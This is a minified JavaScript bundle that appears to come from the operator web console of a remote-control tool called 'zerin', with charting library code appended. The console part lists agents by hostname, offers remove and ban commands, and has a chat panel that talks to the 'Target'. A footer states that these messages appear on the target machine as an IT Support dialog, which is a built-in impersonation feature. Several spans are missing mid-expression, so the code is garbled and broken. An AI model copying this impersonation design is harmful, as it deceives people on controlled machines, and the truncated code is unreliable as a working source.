py-1.5",children:[Jt.search,s.jsx("input",{ref:c,type:"text",value:x,onChange:D=>{g(D.target.value),v(-1),f(null),k(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&s.jsx("button",{onClick:()=>{var D;g(""),(D=c.current)==null||D.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),s.jsxs("div",{className:"py-1",children:[z.length===0&&s.jsx("div",{className:"px-3 py-4 text-center",children:s.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No matches"})}),z.map((D,M)=>s.jsxs(wh.Fragment,{children:[U(M)&&s.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),s.jsxs("div",{className:"relative",onMouseEnter:()=>A(D.label,M),onMouseLeave:O,children:[s.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===D.label||y===M?N?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":N?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[s.jsx("span",{className:`${d===D.label||y===M?N?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:D.icon}),s.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:D.label}),s.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===D.label||y===M?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===D.label&&s.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${I?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[s.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:s.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:D.label})}),D.commands.map((F,R)=>{const W=N&&F.nav.action!=="remove"&&F.nav.action!=="ban",$=XA.has(F.key)||F.nav.action==="remove",H=ZA.has(F.key)||F.nav.action==="ban",X=GA.has(F.key),se=j&&b===R;return s.jsxs("button",{onClick:()=>P(F),disabled:W,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${$?se?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":H?se?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":W?"cursor-not-allowed text-zerin-text-muted":se?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[s.jsx("span",{children:F.label}),X&&!W&&Jt.externalLink]},F.key)})]})]})]},D.label))]})]})})};function yj({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,a]=p.useState([]),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(!0),m=p.useRef(null),h=p.useRef(null),{lastMessage:x}=p.useContext(ld),g=p.useCallback(async()=>{try{const v=rt(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();a(w)}}catch{}finally{f(!1)}},[e]);p.useEffect(()=>{n&&(f(!0),g())},[n,g]),p.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),p.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),p.useEffect(()=>{var v;(v=m.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),p.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=rt(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();a(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?s.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:s.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),s.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?s.jsx("div",{className:"flex h-full items-center justify-center",children:s.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?s.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[s.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),s.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),s.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>s.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:s.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[s.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[s.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),s.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:n_(v.timestamp)})]}),s.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),s.jsx("div",{ref:m})]}),s.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[s.jsxs("div",{className:"flex gap-2",children:[s.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`}),s.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r transition-colors hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),s.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function n_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const r_=({open:e,onClose:t,title:n,children:r})=>{const i=p.useRef(null);return p.useEffect(()=>{if(!e)return;const a=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",a),()=>document.removeEventListener("keydown",a)},[e,t]),p.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?s.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[s.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),s.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[s.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),s.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:s.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),s.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function bj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:a,className:o,style:l,title:c,desc:u}=e,d=c_(e,l_),f=a||{width:r,height:i,x:0,y:0},m=Xe("recharts-surface",o);return p.createElement("svg",Nm({},Dt(d),{className:m,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),p.createElement("title",null,c),p.createElement("desc",null,u),n)}),d_=["children","className"];function Sm(){return Sm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=f_(e,d_),a=Xe("recharts-layer",r);return p.createElement("g",Sm({className:a},Dt(i),{ref:t}),n)}),m_=p.createContext(null);function Ie(e){return function(){return e}}const Nj=Math.cos,Hc=Math.sin,Hn=Math.sqrt,Kc=Math.PI,cd=2*Kc,zm=Math.PI,Cm=2*zm,_i=1e-6,h_=Cm-_i;function Sj(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return Sj;const n=10**t;return function(r){this._+=r[0];for(let i=1,a=r.length;i_i)if(!(Math.abs(f*c-u*d)>_i)||!a)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(m),w=a*Math.tan((zm-Math.acos((g+m-y)/(2*v*b)))/2),j=w/b,k=w/v;Math.abs(j-1)>_i&&this._append`L${t+j*d},${n+j*f}`,this._append`A${a},${a},0,0,${+(f*h>d*x)},${this._x1=t+k*c},${this._y1=n+k*u}`}}arc(t,n,r,i,a,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,m=o?i-a:a-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>_i||Math.abs(this._y1-d)>_i)&&this._append`L${u},${d}`,r&&(m<0&&(m=m%Cm+Cm),m>h_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:m>_i&&this._append`A${r},${r},0,${+(m>=zm)},${f},${this._x1=t+r*Math.cos(a)},${this._y1=n+r*Math.sin(a)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function wx(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new v_(t)}function jx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function zj(e){this._context=e}zj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function ud(e){return new zj(e)}function Cj(e){return e[0]}function Pj(e){return e[1]}function Ej(e,t){var n=Ie(!0),r=null,i=ud,a=null,o=wx(l);e=typeof e=="function"?e:e===void 0?Cj:Ie(e),t=typeof t=="function"?t:t===void 0?Pj:Ie(t);function l(c){var u,d=(c=jx(c)).length,f,m=!1,h;for(r==null&&(a=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[m]=+e(y,m,f),j[m]=+t(y,m,f),l.point(r?+r(y,m,f):w[m],n?+n(y,m,f):j[m]))}if(b)return l=null,b+""||null}function d(){return Ej().defined(i).curve(o).context(a)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:Ie(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:Ie(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:Ie(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:Ie(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:Ie(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:Ie(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:Ie(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,a!=null&&(l=o(a)),u):o},u.context=function(f){return arguments.length?(f==null?a=l=null:l=o(a=f),u):a},u}class Aj{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function g_(e){return new Aj(e,!0)}function y_(e){return new Aj(e,!1)}const kx={draw(e,t){const n=Hn(t/Kc);e.moveTo(n,0),e.arc(0,0,n,0,cd)}},b_={draw(e,t){const n=Hn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},_j=Hn(1/3),w_=_j*2,j_={draw(e,t){const n=Hn(t/w_),r=n*_j;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},k_={draw(e,t){const n=Hn(t),r=-n/2;e.rect(r,r,n,n)}},N_=.8908130915292852,Oj=Hc(Kc/10)/Hc(7*Kc/10),S_=Hc(cd/10)*Oj,z_=-Nj(cd/10)*Oj,C_={draw(e,t){const n=Hn(t*N_),r=S_*n,i=z_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let a=1;a<5;++a){const o=cd*a/5,l=Nj(o),c=Hc(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},Gf=Hn(3),P_={draw(e,t){const n=-Hn(t/(Gf*3));e.moveTo(0,n*2),e.lineTo(-Gf*n,-n),e.lineTo(Gf*n,-n),e.closePath()}},mn=-.5,hn=Hn(3)/2,Pm=1/Hn(12),E_=(Pm/2+1)*3,A_={draw(e,t){const n=Hn(t/E_),r=n/2,i=n*Pm,a=r,o=n*Pm+n,l=-a,c=o;e.moveTo(r,i),e.lineTo(a,o),e.lineTo(l,c),e.lineTo(mn*r-hn*i,hn*r+mn*i),e.lineTo(mn*a-hn*o,hn*a+mn*o),e.lineTo(mn*l-hn*c,hn*l+mn*c),e.lineTo(mn*r+hn*i,mn*i-hn*r),e.lineTo(mn*a+hn*o,mn*o-hn*a),e.lineTo(mn*l+hn*c,mn*c-hn*l),e.closePath()}};function __(e,t){let n=null,r=wx(i);e=typeof e=="function"?e:Ie(e||kx),t=typeof t=="function"?t:Ie(t===void 0?64:+t);function i(){let a;if(n||(n=a=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),a)return n=null,a+""||null}return i.type=function(a){return arguments.length?(e=typeof a=="function"?a:Ie(a),i):e},i.size=function(a){return arguments.length?(t=typeof a=="function"?a:Ie(+a),i):t},i.context=function(a){return arguments.length?(n=a??null,i):n},i}function qc(){}function Yc(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function Tj(e){this._context=e}Tj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Yc(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function O_(e){return new Tj(e)}function Mj(e){this._context=e}Mj.prototype={areaStart:qc,areaEnd:qc,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function T_(e){return new Mj(e)}function Lj(e){this._context=e}Lj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Yc(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function M_(e){return new Lj(e)}function Ij(e){this._context=e}Ij.prototype={areaStart:qc,areaEnd:qc,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function L_(e){return new Ij(e)}function Yg(e){return e<0?-1:1}function Gg(e,t,n){var r=e._x1-e._x0,i=t-e._x1,a=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(a*i+o*r)/(r+i);return(Yg(a)+Yg(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(l))||0}function Xg(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Xf(e,t,n){var r=e._x0,i=e._y0,a=e._x1,o=e._y1,l=(a-r)/3;e._context.bezierCurveTo(r+l,i+l*t,a-l,o-l*n,a,o)}function Gc(e){this._context=e}Gc.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Xf(this,this._t0,Xg(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Xf(this,Xg(this,n=Gg(this,e,t)),n);break;default:Xf(this,this._t0,n=Gg(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function Dj(e){this._context=new Rj(e)}(Dj.prototype=Object.create(Gc.prototype)).point=function(e,t){Gc.prototype.point.call(this,t,e)};function Rj(e){this._context=e}Rj.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,a){this._context.bezierCurveTo(t,e,r,n,a,i)}};function I_(e){return new Gc(e)}function D_(e){return new Dj(e)}function $j(e){this._context=e}$j.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=Zg(e),i=Zg(t),a=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/a[t];for(a[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function $_(e){return new dd(e,.5)}function B_(e){return new dd(e,0)}function F_(e){return new dd(e,1)}function ea(e,t){if((o=e.length)>1)for(var n=1,r,i,a=e[t[0]],o,l=a.length;n=0;)n[t]=t;return n}function W_(e,t){return e[t]}function U_(e){const t=[];return t.key=e,t}function V_(){var e=Ie([]),t=Em,n=ea,r=W_;function i(a){var o=Array.from(e.apply(this,arguments),U_),l,c=o.length,u=-1,d;for(const f of a)for(l=0,++u;l0){for(var n,r,i=0,a=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,a=r.length;n0)||!((a=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,a,o;r1&&arguments[1]!==void 0?arguments[1]:G_,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function Qe(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+a:l!==void 0?i+ti(l)+a:i+a},"")}var Ut=e=>e===0?0:e>0?1:-1,lr=e=>typeof e=="number"&&e!=+e,ta=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,he=e=>(typeof e=="number"||e instanceof Number)&&!lr(e),Pr=e=>he(e)||typeof e=="string",X_=0,Po=e=>{var t=++X_;return"".concat(e||"").concat(t)},sn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!he(t)&&typeof t!="string")return r;var a;if(ta(t)){if(n==null)return r;var o=t.indexOf("%");a=n*parseFloat(t.slice(0,o))/100}else a=+t;return lr(a)&&(a=r),i&&n!=null&&a>n&&(a=n),a},Wj=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Co(r,t))===n)}var Pt=e=>e===null||typeof e>"u",Go=e=>Pt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function nr(e){return e!=null}function cs(){}var Z_=["type","size","sizeType"];function Am(){return Am=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Go(e));return Vj[t]||kx},a6=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*r6;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},s6=(e,t)=>{Vj["symbol".concat(Go(e))]=t},Hj=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=t6(e,Z_),a=Jg(Jg({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var m=i6(o),h=__().type(m).size(a6(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=a,f=Dt(a);return he(u)&&he(d)&&he(n)?p.createElement("path",Am({},f,{className:Xe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};Hj.registerSymbol=s6;var Kj=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Sx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(p.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{bx(i)&&(r[i]=a=>n[i](n,a))}),r},o6=(e,t,n)=>r=>(e(t,n,r),null),l6=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var a=e[i];bx(i)&&typeof a=="function"&&(r||(r={}),r[i]=o6(a,t,n))}),r};function ey(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function c6(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return a}var qj={},Yj={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let a=0;a=0}e.isLength=t})(Zj);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Zj;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(hd);var Qj={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(Qj);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hd,n=Qj;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(Xj);var Jj={},ek={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(ek);var tk={},Cx={},nk={},Px={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Px);var Ex={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Ex);var Ax={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Ax);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Px,n=Ex,r=Ax;function i(d,f,m){return typeof 